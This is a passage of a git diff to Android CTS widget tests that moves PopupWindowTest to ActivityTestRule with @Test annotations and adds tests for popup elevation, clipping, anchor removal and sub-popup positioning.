         verify(enterListener, times(1)).onTransitionStart(any(Transition.class));
         verify(exitListener, never()).onTransitionStart(any(Transition.class));
         verify(dismissListener, never()).onDismiss();
 
-        mInstrumentation.runOnMainSync(() -> mPopupWindow.dismiss());
+        mActivityRule.runOnUiThread(mPopupWindow::dismiss);
+
+        int times;
+        if (showAgain) {
+            // Interrupt dismiss by calling show again, then actually dismiss.
+            mActivityRule.runOnUiThread(showRunnable);
+            mInstrumentation.waitForIdleSync();
+            mActivityRule.runOnUiThread(mPopupWindow::dismiss);
+
+            times = 2;
+        } else {
+            times = 1;
+        }
+
         mInstrumentation.waitForIdleSync();
-        verify(enterListener, times(1)).onTransitionStart(any(Transition.class));
-        verify(exitListener, times(1)).onTransitionStart(any(Transition.class));
-        verify(dismissListener, times(1)).onDismiss();
+        verify(enterListener, times(times)).onTransitionStart(any(Transition.class));
+        verify(exitListener, times(times)).onTransitionStart(any(Transition.class));
+        verify(dismissListener, times(times)).onDismiss();
     }
 
-    public void testUpdatePositionAndDimension() {
+    @Test
+    public void testUpdatePositionAndDimension() throws Throwable {
         int[] fstXY = new int[2];
         int[] sndXY = new int[2];
         int[] viewInWindowXY = new int[2];
         Rect containingRect = new Rect();
 
-        mInstrumentation.runOnMainSync(() -> {
-            mPopupWindow = createPopupWindow(createPopupContent(50, 50));
+        mActivityRule.runOnUiThread(() -> {
+            mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
             // Do not attach within the decor; we will be measuring location
             // with regard to screen coordinates.
             mPopupWindow.setAttachedInDecor(false);
@@ -833,8 +951,9 @@
         mInstrumentation.waitForIdleSync();
         // Do not update if it is not shown
         assertFalse(mPopupWindow.isShowing());
-        assertEquals(100, mPopupWindow.getWidth());
-        assertEquals(100, mPopupWindow.getHeight());
+        assertFalse(mPopupWindow.isAttachedInDecor());
+        assertEquals(WINDOW_SIZE_DP, mPopupWindow.getWidth());
+        assertEquals(WINDOW_SIZE_DP, mPopupWindow.getHeight());
 
         showPopup();
         mPopupWindow.getContentView().getLocationInWindow(viewInWindowXY);
@@ -842,7 +961,15 @@
         containerView.getWindowDisplayFrame(containingRect);
 
         // update if it is not shown
-        mInstrumentation.runOnMainSync(() -> mPopupWindow.update(20, 50, 50, 50));
+        mActivityRule.runOnUiThread(() -> mPopupWindow.update(80, 80));
+
+        mInstrumentation.waitForIdleSync();
+        assertTrue(mPopupWindow.isShowing());
+        assertEquals(80, mPopupWindow.getWidth());
+        assertEquals(80, mPopupWindow.getHeight());
+
+        // update if it is not shown
+        mActivityRule.runOnUiThread(() -> mPopupWindow.update(20, 50, 50, 50));
 
         mInstrumentation.waitForIdleSync();
         assertTrue(mPopupWindow.isShowing());
@@ -854,7 +981,7 @@
         assertEquals(containingRect.top + viewInWindowXY[1] + 50, fstXY[1]);
 
         // ignore if width or height is -1
-        mInstrumentation.runOnMainSync(() -> mPopupWindow.update(4, 0, -1, -1, true));
+        mActivityRule.runOnUiThread(() -> mPopupWindow.update(4, 0, -1, -1, true));
         mInstrumentation.waitForIdleSync();
 
         assertTrue(mPopupWindow.isShowing());
@@ -868,56 +995,59 @@
         dismissPopup();
     }
 
-    public void testUpdateDimensionAndAlignAnchorView() {
-        mInstrumentation.runOnMainSync(
-                () -> mPopupWindow = createPopupWindow(createPopupContent(50, 50)));
+    @Test
+    public void testUpdateDimensionAndAlignAnchorView() throws Throwable {
+        mActivityRule.runOnUiThread(
+                () -> mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP,
+                        CONTENT_SIZE_DP)));
         mInstrumentation.waitForIdleSync();
 
         final View anchorView = mActivity.findViewById(R.id.anchor_upper);
         mPopupWindow.update(anchorView, 50, 50);
         // Do not update if it is not shown
         assertFalse(mPopupWindow.isShowing());
-        assertEquals(100, mPopupWindow.getWidth());
-        assertEquals(100, mPopupWindow.getHeight());
+        assertEquals(WINDOW_SIZE_DP, mPopupWindow.getWidth());
+        assertEquals(WINDOW_SIZE_DP, mPopupWindow.getHeight());
 
-        mInstrumentation.runOnMainSync(() -> mPopupWindow.showAsDropDown(anchorView));
+        mActivityRule.runOnUiThread(() -> mPopupWindow.showAsDropDown(anchorView));
         mInstrumentation.waitForIdleSync();
         // update if it is shown
-        mInstrumentation.runOnMainSync(() -> mPopupWindow.update(anchorView, 50, 50));
+        mActivityRule.runOnUiThread(() -> mPopupWindow.update(anchorView, 50, 50));
         mInstrumentation.waitForIdleSync();
         assertTrue(mPopupWindow.isShowing());
         assertEquals(50, mPopupWindow.getWidth());
         assertEquals(50, mPopupWindow.getHeight());
 
         // ignore if width or height is -1
-        mInstrumentation.runOnMainSync(() -> mPopupWindow.update(anchorView, -1, -1));
+        mActivityRule.runOnUiThread(() -> mPopupWindow.update(anchorView, -1, -1));
         mInstrumentation.waitForIdleSync();
         assertTrue(mPopupWindow.isShowing());
         assertEquals(50, mPopupWindow.getWidth());
         assertEquals(50, mPopupWindow.getHeight());
 
-        mInstrumentation.runOnMainSync(() -> mPopupWindow.dismiss());
+        mActivityRule.runOnUiThread(mPopupWindow::dismiss);
         mInstrumentation.waitForIdleSync();
     }
 
-    public void testUpdateDimensionAndAlignAnchorViewWithOffsets() {
+    @Test
+    public void testUpdateDimensionAndAlignAnchorViewWithOffsets() throws Throwable {
         int[] anchorXY = new int[2];
         int[] viewInWindowOff = new int[2];
         int[] viewXY = new int[2];
 
-        mPopupWindow = createPopupWindow(createPopupContent(50, 50));
+        mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
         final View anchorView = mActivity.findViewById(R.id.anchor_upper);
         // Do not update if it is not shown
         assertFalse(mPopupWindow.isShowing());
-        assertEquals(100, mPopupWindow.getWidth());
-        assertEquals(100, mPopupWindow.getHeight());
+        assertEquals(WINDOW_SIZE_DP, mPopupWindow.getWidth());
+        assertEquals(WINDOW_SIZE_DP, mPopupWindow.getHeight());
 
         showPopup();
         anchorView.getLocationOnScreen(anchorXY);
         mPopupWindow.getContentView().getLocationInWindow(viewInWindowOff);
 
         // update if it is not shown
-        mInstrumentation.runOnMainSync(() -> mPopupWindow.update(anchorView, 20, 50, 50, 50));
+        mActivityRule.runOnUiThread(() -> mPopupWindow.update(anchorView, 20, 50, 50, 50));
 
         mInstrumentation.waitForIdleSync();
 
@@ -932,7 +1062,7 @@
         assertEquals(anchorXY[1] + anchorView.getHeight() + 50 + viewInWindowOff[1], viewXY[1]);
 
         // ignore width and height but change location
-        mInstrumentation.runOnMainSync(() -> mPopupWindow.update(anchorView, 10, 50, -1, -1));
+        mActivityRule.runOnUiThread(() -> mPopupWindow.update(anchorView, 10, 50, -1, -1));
         mInstrumentation.waitForIdleSync();
 
         assertTrue(mPopupWindow.isShowing());
@@ -946,7 +1076,7 @@
         assertEquals(anchorXY[1] + anchorView.getHeight() + 50 + viewInWindowOff[1], viewXY[1]);
 
         final View anotherView = mActivity.findViewById(R.id.anchor_middle_left);
-        mInstrumentation.runOnMainSync(() -> mPopupWindow.update(anotherView, 0, 0, 60, 60));
+        mActivityRule.runOnUiThread(() -> mPopupWindow.update(anotherView, 0, 0, 60, 60));
         mInstrumentation.waitForIdleSync();
 
         assertTrue(mPopupWindow.isShowing());
@@ -964,6 +1094,7 @@
         dismissPopup();
     }
 
+    @Test
     public void testAccessInputMethodMode() {
         mPopupWindow = new PopupWindow(mActivity);
         assertEquals(0, mPopupWindow.getInputMethodMode());
@@ -981,6 +1112,7 @@
         assertEquals(-1, mPopupWindow.getInputMethodMode());
     }
 
+    @Test
     public void testAccessClippingEnabled() {
         mPopupWindow = new PopupWindow(mActivity);
         assertTrue(mPopupWindow.isClippingEnabled());
@@ -989,6 +1121,7 @@
         assertFalse(mPopupWindow.isClippingEnabled());
     }
 
+    @Test
     public void testAccessOutsideTouchable() {
         mPopupWindow = new PopupWindow(mActivity);
         assertFalse(mPopupWindow.isOutsideTouchable());
@@ -997,6 +1130,7 @@
         assertTrue(mPopupWindow.isOutsideTouchable());
     }
 
+    @Test
     public void testAccessTouchable() {
         mPopupWindow = new PopupWindow(mActivity);
         assertTrue(mPopupWindow.isTouchable());
@@ -1005,28 +1139,32 @@
         assertFalse(mPopupWindow.isTouchable());
     }
 
-    public void testIsAboveAnchor() {
-        mInstrumentation.runOnMainSync(() -> mPopupWindow = createPopupWindow(createPopupContent(50,
-                50)));
+    @Test
+    public void testIsAboveAnchor() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mPopupWindow = createPopupWindow(createPopupContent(
+                CONTENT_SIZE_DP, CONTENT_SIZE_DP)));
         mInstrumentation.waitForIdleSync();
         final View upperAnchor = mActivity.findViewById(R.id.anchor_upper);
 
-        mInstrumentation.runOnMainSync(() -> mPopupWindow.showAsDropDown(upperAnchor));
+        mActivityRule.runOnUiThread(() -> mPopupWindow.showAsDropDown(upperAnchor));
         mInstrumentation.waitForIdleSync();
         assertFalse(mPopupWindow.isAboveAnchor());
         dismissPopup();
 
-        mPopupWindow = createPopupWindow(createPopupContent(50, 50));
+        mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
         final View lowerAnchor = mActivity.findViewById(R.id.anchor_lower);
 
-        mInstrumentation.runOnMainSync(() -> mPopupWindow.showAsDropDown(lowerAnchor, 0, 0));
+        mActivityRule.runOnUiThread(() -> mPopupWindow.showAsDropDown(lowerAnchor, 0, 0));
         mInstrumentation.waitForIdleSync();
         assertTrue(mPopupWindow.isAboveAnchor());
         dismissPopup();
     }
 
-    public void testSetTouchInterceptor() {
-        mPopupWindow = new PopupWindow(new TextView(mActivity));
+    @Test
+    public void testSetTouchInterceptor() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView = new TextView(mActivity));
+        mInstrumentation.waitForIdleSync();
+        mPopupWindow = new PopupWindow(mTextView);
 
         OnTouchListener onTouchListener = mock(OnTouchListener.class);
         when(onTouchListener.onTouch(any(View.class), any(MotionEvent.class))).thenReturn(true);
@@ -1049,25 +1187,28 @@
         long eventTime = SystemClock.uptimeMillis();
         MotionEvent event = MotionEvent.obtain(downTime, eventTime,
                 MotionEvent.ACTION_DOWN, x, y, 0);
-        getInstrumentation().sendPointerSync(event);
+        mInstrumentation.sendPointerSync(event);
         verify(onTouchListener, times(1)).onTouch(any(View.class), any(MotionEvent.class));
 
         downTime = SystemClock.uptimeMillis();
         eventTime = SystemClock.uptimeMillis();
         event = MotionEvent.obtain(downTime, eventTime, MotionEvent.ACTION_UP, x, y, 0);
-        getInstrumentation().sendPointerSync(event);
+        mInstrumentation.sendPointerSync(event);
         verify(onTouchListener, times(2)).onTouch(any(View.class), any(MotionEvent.class));
 
         mPopupWindow.setTouchInterceptor(null);
         downTime = SystemClock.uptimeMillis();
         eventTime = SystemClock.uptimeMillis();
         event = MotionEvent.obtain(downTime, eventTime, MotionEvent.ACTION_DOWN, x, y, 0);
-        getInstrumentation().sendPointerSync(event);
+        mInstrumentation.sendPointerSync(event);
         verify(onTouchListener, times(2)).onTouch(any(View.class), any(MotionEvent.class));
     }
 
-    public void testSetWindowLayoutMode() {
-        mPopupWindow = new PopupWindow(new TextView(mActivity));
+    @Test
+    public void testSetWindowLayoutMode() throws Throwable {
+        mActivityRule.runOnUiThread(() -> mTextView = new TextView(mActivity));
+        mInstrumentation.waitForIdleSync();
+        mPopupWindow = new PopupWindow(mTextView);
         showPopup();
 
         ViewGroup.LayoutParams p = mPopupWindow.getContentView().getRootView().getLayoutParams();
@@ -1075,17 +1216,150 @@
         assertEquals(0, p.height);
 
         mPopupWindow.setWindowLayoutMode(LayoutParams.WRAP_CONTENT, LayoutParams.MATCH_PARENT);
-        mInstrumentation.runOnMainSync(() -> mPopupWindow.update(20, 50, 50, 50));
+        mActivityRule.runOnUiThread(() -> mPopupWindow.update(20, 50, 50, 50));
 
         assertEquals(LayoutParams.WRAP_CONTENT, p.width);
         assertEquals(LayoutParams.MATCH_PARENT, p.height);
     }
 
-    public void testPositionAfterParentScroll() {
+    @Test
+    public void testAccessElevation() throws Throwable {
+        mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
+        mActivityRule.runOnUiThread(() -> mPopupWindow.setElevation(2.0f));
+
+        showPopup();
+        assertEquals(2.0f, mPopupWindow.getElevation(), 0.0f);
+
+        dismissPopup();
+        mActivityRule.runOnUiThread(() -> mPopupWindow.setElevation(4.0f));
+        showPopup();
+        assertEquals(4.0f, mPopupWindow.getElevation(), 0.0f);
+
+        dismissPopup();
+        mActivityRule.runOnUiThread(() -> mPopupWindow.setElevation(10.0f));
+        showPopup();
+        assertEquals(10.0f, mPopupWindow.getElevation(), 0.0f);
+    }
+
+    @Test
+    public void testAccessSoftInputMode() throws Throwable {
+        mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
+        mActivityRule.runOnUiThread(
+                () -> mPopupWindow.setSoftInputMode(
+                        WindowManager.LayoutParams.SOFT_INPUT_STATE_VISIBLE));
+
+        showPopup();
+        assertEquals(WindowManager.LayoutParams.SOFT_INPUT_STATE_VISIBLE,
+                mPopupWindow.getSoftInputMode());
+
+        dismissPopup();
+        mActivityRule.runOnUiThread(
+                () -> mPopupWindow.setSoftInputMode(
+                        WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN));
+        showPopup();
+        assertEquals(WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN,
+                mPopupWindow.getSoftInputMode());
+    }
+
+    @Test
+    public void testAccessSplitTouchEnabled() throws Throwable {
+        mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
+        mActivityRule.runOnUiThread(() -> mPopupWindow.setSplitTouchEnabled(true));
+
+        showPopup();
+        assertTrue(mPopupWindow.isSplitTouchEnabled());
+
+        dismissPopup();
+        mActivityRule.runOnUiThread(() -> mPopupWindow.setSplitTouchEnabled(false));
+        showPopup();
+        assertFalse(mPopupWindow.isSplitTouchEnabled());
+
+        dismissPopup();
+        mActivityRule.runOnUiThread(() -> mPopupWindow.setSplitTouchEnabled(true));
+        showPopup();
+        assertTrue(mPopupWindow.isSplitTouchEnabled());
+    }
+
+    @Test
+    public void testVerticallyClippedBeforeAdjusted() throws Throwable {
+        View parentWindowView = mActivity.getWindow().getDecorView();
+        int parentWidth = parentWindowView.getMeasuredWidth();
+        int parentHeight = parentWindowView.getMeasuredHeight();
+
+        // We make a popup which is too large to fit within the parent window.
+        // After showing it, we verify that it is shrunk to fit the window,
+        // rather than adjusted up.
+        mPopupWindow = createPopupWindow(createPopupContent(parentWidth*2, parentHeight*2));
+        mPopupWindow.setWidth(WindowManager.LayoutParams.WRAP_CONTENT);
+        mPopupWindow.setHeight(WindowManager.LayoutParams.WRAP_CONTENT);
+
+        showPopup(R.id.anchor_middle);
+
+        View popupRoot = mPopupWindow.getContentView();
+        int measuredWidth = popupRoot.getMeasuredWidth();
+        int measuredHeight = popupRoot.getMeasuredHeight();
+        View anchor = mActivity.findViewById(R.id.anchor_middle);
+
+        // The popup should occupy all available vertical space.
+        int[] anchorLocationInWindowXY = new int[2];
+        anchor.getLocationInWindow(anchorLocationInWindowXY);
+        assertEquals(measuredHeight,
+                parentHeight - (anchorLocationInWindowXY[1] + anchor.getHeight()));
+
+        // The popup should be vertically aligned to the anchor's bottom edge.
+        int[] anchorLocationOnScreenXY = new int[2];
+        anchor.getLocationOnScreen(anchorLocationOnScreenXY);
+        int[] popupLocationOnScreenXY = new int[2];
+        popupRoot.getLocationOnScreen(popupLocationOnScreenXY);
+        assertEquals(anchorLocationOnScreenXY[1] + anchor.getHeight(), popupLocationOnScreenXY[1]);
+    }
+
+    @Test
+    public void testClipToScreenClipsToInsets() throws Throwable {
+        int[] orientationValues = {ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE,
+                ActivityInfo.SCREEN_ORIENTATION_PORTRAIT};
+        int currentOrientation = mActivity.getResources().getConfiguration().orientation;
+        if (currentOrientation == Configuration.ORIENTATION_LANDSCAPE) {
+            orientationValues[0] = ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
+            orientationValues[1] = ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE;
+        }
+
+        for (int i = 0; i < 2; i++) {
+            final int orientation = orientationValues[i];
+            mActivity.runOnUiThread(() ->
+                    mActivity.setRequestedOrientation(orientation));
+            mActivity.waitForConfigurationChanged();
+
+            View parentWindowView = mActivity.getWindow().getDecorView();
+            int parentWidth = parentWindowView.getMeasuredWidth();
+            int parentHeight = parentWindowView.getMeasuredHeight();
+
+            mPopupWindow = createPopupWindow(createPopupContent(parentWidth*2, parentHeight*2));
+            mPopupWindow.setWidth(WindowManager.LayoutParams.MATCH_PARENT);
+            mPopupWindow.setHeight(WindowManager.LayoutParams.MATCH_PARENT);
+            mPopupWindow.setClipToScreenEnabled(true);
+
+            showPopup(R.id.anchor_upper_left);
+
+            View popupRoot = mPopupWindow.getContentView().getRootView();
+            int measuredWidth  = popupRoot.getMeasuredWidth();
+            int measuredHeight = popupRoot.getMeasuredHeight();
+
+            // The visible frame will not include the insets.
+            Rect visibleFrame = new Rect();
+            parentWindowView.getWindowVisibleDisplayFrame(visibleFrame);
+
+            assertEquals(measuredWidth, visibleFrame.width());
+            assertEquals(measuredHeight, visibleFrame.height());
+        }
+    }
+
+    @Test
+    public void testPositionAfterParentScroll() throws Throwable {
         View.OnScrollChangeListener scrollChangeListener = mock(
                 View.OnScrollChangeListener.class);
 
-        getInstrumentation().runOnMainSync(() -> {
+        mActivityRule.runOnUiThread(() -> {
             mActivity.setContentView(R.layout.popup_window_scrollable);
 
             View anchor = mActivity.findViewById(R.id.anchor_upper);
@@ -1093,18 +1367,182 @@
             window.showAsDropDown(anchor);
         });
 
-        getInstrumentation().runOnMainSync(() -> {
+        mActivityRule.runOnUiThread(() -> {
             View parent = mActivity.findViewById(R.id.main_container);
             parent.scrollBy(0, 500);
             parent.setOnScrollChangeListener(scrollChangeListener);
         });
 
-        getInstrumentation().waitForIdleSync();
-
         verify(scrollChangeListener, never()).onScrollChange(
                 any(View.class), anyInt(), anyInt(), anyInt(), anyInt());
     }
 
+    @Test
+    public void testPositionAfterAnchorRemoval() throws Throwable {
+        mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
+        showPopup(R.id.anchor_middle);
+
+        final ViewGroup container = (ViewGroup) mActivity.findViewById(R.id.main_container);
+        final View anchor = mActivity.findViewById(R.id.anchor_middle);
+        final LayoutParams anchorLayoutParams = anchor.getLayoutParams();
+
+        final int[] originalLocation = mPopupWindow.getContentView().getLocationOnScreen();
+
+        final int deltaX = 30;
+        final int deltaY = 20;
+
+        // Scroll the container, the popup should move along with the anchor.
+        WidgetTestUtils.runOnMainAndLayoutSync(
+                mActivityRule,
+                mPopupWindow.getContentView().getRootView(),
+                () -> container.scrollBy(deltaX, deltaY),
+                false  /* force layout */);
+        assertPopupLocation(originalLocation, deltaX, deltaY);
+
+        // Detach the anchor, the popup should stay in the same location.
+        WidgetTestUtils.runOnMainAndLayoutSync(
+                mActivityRule,
+                mActivity.getWindow().getDecorView(),
+                () -> container.removeView(anchor),
+                false  /* force layout */);
+        assertPopupLocation(originalLocation, deltaX, deltaY);
+
+        // Scroll the container while the anchor is detached, the popup should not move.
+        WidgetTestUtils.runOnMainAndLayoutSync(
+                mActivityRule,
+                mActivity.getWindow().getDecorView(),
+                () -> container.scrollBy(deltaX, deltaY),
+                true  /* force layout */);
+        assertPopupLocation(originalLocation, deltaX, deltaY);
+
+        // Re-attach the anchor, the popup should snap back to the new anchor location.
+        WidgetTestUtils.runOnMainAndLayoutSync(
+                mActivityRule,
+                mPopupWindow.getContentView().getRootView(),
+                () -> container.addView(anchor, anchorLayoutParams),
+                false  /* force layout */);
+        assertPopupLocation(originalLocation, deltaX * 2, deltaY * 2);
+    }
+
+    @Test
+    public void testAnchorInPopup() throws Throwable {
+        mPopupWindow = createPopupWindow(
+                mActivity.getLayoutInflater().inflate(R.layout.popup_window, null));
+
+        final PopupWindow subPopup =
+                createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
+
+        // Check alignment without overlapping the anchor.
+        assertFalse(subPopup.getOverlapAnchor());
+
+        verifySubPopupPosition(subPopup, R.id.anchor_upper_left, R.id.anchor_lower_right,
+                LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, BOTTOM);
+        verifySubPopupPosition(subPopup, R.id.anchor_middle_left, R.id.anchor_lower_right,
+                LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, BOTTOM);
+        verifySubPopupPosition(subPopup, R.id.anchor_lower_left, R.id.anchor_lower_right,
+                LEFT, EQUAL_TO, LEFT, BOTTOM, EQUAL_TO, TOP);
+
+        verifySubPopupPosition(subPopup, R.id.anchor_upper, R.id.anchor_lower_right,
+                LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, BOTTOM);
+        verifySubPopupPosition(subPopup, R.id.anchor_middle, R.id.anchor_lower_right,
+                LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, BOTTOM);
+        verifySubPopupPosition(subPopup, R.id.anchor_lower, R.id.anchor_lower_right,
+                LEFT, EQUAL_TO, LEFT, BOTTOM, EQUAL_TO, TOP);
+
+        verifySubPopupPosition(subPopup, R.id.anchor_upper_right, R.id.anchor_lower_right,
+                RIGHT, EQUAL_TO, RIGHT, TOP, EQUAL_TO, BOTTOM);
+        verifySubPopupPosition(subPopup, R.id.anchor_middle_right, R.id.anchor_lower_right,
+                RIGHT, EQUAL_TO, RIGHT, TOP, EQUAL_TO, BOTTOM);
+        verifySubPopupPosition(subPopup, R.id.anchor_lower_right, R.id.anchor_lower_right,
+                RIGHT, EQUAL_TO, RIGHT, BOTTOM, EQUAL_TO, TOP);
+
+        // Check alignment while overlapping the anchor.
+        subPopup.setOverlapAnchor(true);
+
+        final int anchorHeight = mActivity.findViewById(R.id.anchor_lower_right).getHeight();
+        // To simplify the math assert that all three lower anchors are the same height.
+        assertEquals(anchorHeight, mActivity.findViewById(R.id.anchor_lower_left).getHeight());
+        assertEquals(anchorHeight, mActivity.findViewById(R.id.anchor_lower).getHeight());
+
+        final int verticalSpaceBelowAnchor = anchorHeight * 2;
+        // Ensure that the subpopup is flipped vertically.
+        subPopup.setHeight(verticalSpaceBelowAnchor + 1);
+
+        verifySubPopupPosition(subPopup, R.id.anchor_upper_left, R.id.anchor_lower_right,
+                LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, TOP);
+        verifySubPopupPosition(subPopup, R.id.anchor_middle_left, R.id.anchor_lower_right,
+                LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, TOP);
+        verifySubPopupPosition(subPopup, R.id.anchor_lower_left, R.id.anchor_lower_right,
+                LEFT, EQUAL_TO, LEFT, BOTTOM, EQUAL_TO, TOP);
+
+        verifySubPopupPosition(subPopup, R.id.anchor_upper, R.id.anchor_lower_right,
+                LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, TOP);
+        verifySubPopupPosition(subPopup, R.id.anchor_middle, R.id.anchor_lower_right,
+                LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, TOP);
+        verifySubPopupPosition(subPopup, R.id.anchor_lower, R.id.anchor_lower_right,
+                LEFT, EQUAL_TO, LEFT, BOTTOM, EQUAL_TO, TOP);
+
+        verifySubPopupPosition(subPopup, R.id.anchor_upper_right, R.id.anchor_lower_right,
+                RIGHT, EQUAL_TO, RIGHT, TOP, EQUAL_TO, TOP);
+        verifySubPopupPosition(subPopup, R.id.anchor_middle_right, R.id.anchor_lower_right,
+                RIGHT, EQUAL_TO, RIGHT, TOP, EQUAL_TO, TOP);
+        verifySubPopupPosition(subPopup, R.id.anchor_lower_right, R.id.anchor_lower_right,
+                RIGHT, EQUAL_TO, RIGHT, BOTTOM, EQUAL_TO, TOP);
+
+        // Re-test for the bottom anchor row ensuring that the subpopup not flipped vertically.
+        subPopup.setHeight(verticalSpaceBelowAnchor - 1);
+
+        verifySubPopupPosition(subPopup, R.id.anchor_lower_left, R.id.anchor_lower_right,
+                LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, TOP);
+        verifySubPopupPosition(subPopup, R.id.anchor_lower, R.id.anchor_lower_right,
+                LEFT, EQUAL_TO, LEFT, TOP, EQUAL_TO, TOP);
+        verifySubPopupPosition(subPopup, R.id.anchor_lower_right, R.id.anchor_lower_right,
+                RIGHT, EQUAL_TO, RIGHT, TOP, EQUAL_TO, TOP);
+
+        // Check that scrolling scrolls the sub popup along with the main popup.
+        showPopup(R.id.anchor_middle);
+
+        mActivityRule.runOnUiThread(() -> subPopup.showAsDropDown(
+                mPopupWindow.getContentView().findViewById(R.id.anchor_middle)));
+        mInstrumentation.waitForIdleSync();
+
+        final int[] popupLocation = mPopupWindow.getContentView().getLocationOnScreen();
+        final int[] subPopupLocation = subPopup.getContentView().getLocationOnScreen();
+
+        final int deltaX = 20;
+        final int deltaY = 30;
+
+        final ViewGroup container = (ViewGroup) mActivity.findViewById(R.id.main_container);
+        WidgetTestUtils.runOnMainAndLayoutSync(
+                mActivityRule,
+                subPopup.getContentView().getRootView(),
+                () -> container.scrollBy(deltaX, deltaY),
+                false  /* force layout */);
+
+        final int[] newPopupLocation = mPopupWindow.getContentView().getLocationOnScreen();
+        assertEquals(popupLocation[0] - deltaX, newPopupLocation[0]);
+        assertEquals(popupLocation[1] - deltaY, newPopupLocation[1]);
+
+        final int[] newSubPopupLocation = subPopup.getContentView().getLocationOnScreen();
+        assertEquals(subPopupLocation[0] - deltaX, newSubPopupLocation[0]);
+        assertEquals(subPopupLocation[1] - deltaY, newSubPopupLocation[1]);
+    }
+
+    private void verifySubPopupPosition(PopupWindow subPopup, int mainAnchorId, int subAnchorId,
+            int contentEdgeX, int operatorX, int anchorEdgeX,
+            int contentEdgeY, int operatorY, int anchorEdgeY) throws Throwable {
+        showPopup(mainAnchorId);
+        verifyPosition(subPopup, mPopupWindow.getContentView().findViewById(subAnchorId),
+                contentEdgeX, operatorX, anchorEdgeX, contentEdgeY, operatorY, anchorEdgeY);
+        dismissPopup();
+    }
+
+    private void assertPopupLocation(int[] originalLocation, int deltaX, int deltaY) {
+        final int[] actualLocation = mPopupWindow.getContentView().getLocationOnScreen();
+        assertEquals(originalLocation[0] - deltaX, actualLocation[0]);
+        assertEquals(originalLocation[1] - deltaY, actualLocation[1]);
+    }
+
     private static class BaseTransition extends Transition {
         @Override
         public void captureStartValues(TransitionValues transitionValues) {}
@@ -1123,8 +1561,8 @@
 
     private PopupWindow createPopupWindow() {
         PopupWindow window = new PopupWindow(mActivity);
-        window.setWidth(100);
-        window.setHeight(100);
+        window.setWidth(WINDOW_SIZE_DP);
+        window.setHeight(WINDOW_SIZE_DP);
         window.setBackgroundDrawable(new ColorDrawable(Color.YELLOW));
         return window;
     }
@@ -1135,20 +1573,24 @@
         return window;
     }
 
-    private void showPopup() {
-        mInstrumentation.runOnMainSync(() -> {
+    private void showPopup(int resourceId) throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
             if (mPopupWindow == null || mPopupWindow.isShowing()) {
                 return;
             }
-            View anchor = mActivity.findViewById(R.id.anchor_upper);
+            View anchor = mActivity.findViewById(resourceId);
             mPopupWindow.showAsDropDown(anchor);
             assertTrue(mPopupWindow.isShowing());
         });
         mInstrumentation.waitForIdleSync();
     }
 
-    private void dismissPopup() {
-        mInstrumentation.runOnMainSync(() -> {
+    private void showPopup() throws Throwable {
+        showPopup(R.id.anchor_upper_left);
+    }
+
+    private void dismissPopup() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
             if (mPopupWindow == null || !mPopupWindow.isShowing()) {
                 return;
             }
diff --git a/tests/tests/widget/src/android/widget/cts/PositionTesterContextMenuListener.java b/tests/tests/widget/src/android/widget/cts/PositionTesterContextMenuListener.java
index a1c9bc4..5d9fd4c 100644
--- a/tests/tests/widget/src/android/widget/cts/PositionTesterContextMenuListener.java
+++ b/tests/tests/widget/src/android/widget/cts/PositionTesterContextMenuListener.java
@@ -17,11 +17,11 @@
 package android.widget.cts;
 
 import android.view.ContextMenu;
-import android.view.View;
 import android.view.ContextMenu.ContextMenuInfo;
+import android.view.View;
 import android.view.View.OnCreateContextMenuListener;
-import android.widget.ExpandableListView;
 import android.widget.AdapterView.AdapterContextMenuInfo;
+import android.widget.ExpandableListView;
 
 public class PositionTesterContextMenuListener implements OnCreateContextMenuListener {
 
diff --git a/tests/tests/widget/src/android/widget/cts/ProgressBarCtsActivity.java b/tests/tests/widget/src/android/widget/cts/ProgressBarCtsActivity.java
index 8298d5f..2b3a45d 100644
--- a/tests/tests/widget/src/android/widget/cts/ProgressBarCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/ProgressBarCtsActivity.java
@@ -18,17 +18,18 @@
 
 import android.app.Activity;
 import android.os.Bundle;
+import android.widget.ProgressBar;
 
 /**
- * An application for ProgressBar test
- *
+ * A minimal application for {@link ProgressBar} test.
  */
 public class ProgressBarCtsActivity extends Activity {
     /**
-     * Called with the activity is first created.
+     * Called when the activity is first created.
      */
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
+        setContentView(R.layout.progressbar_layout);
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/ProgressBarDrawableContainerTest.java b/tests/tests/widget/src/android/widget/cts/ProgressBarDrawableContainerTest.java
new file mode 100644
index 0000000..2acf8ecd
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/ProgressBarDrawableContainerTest.java
@@ -0,0 +1,63 @@
+/*
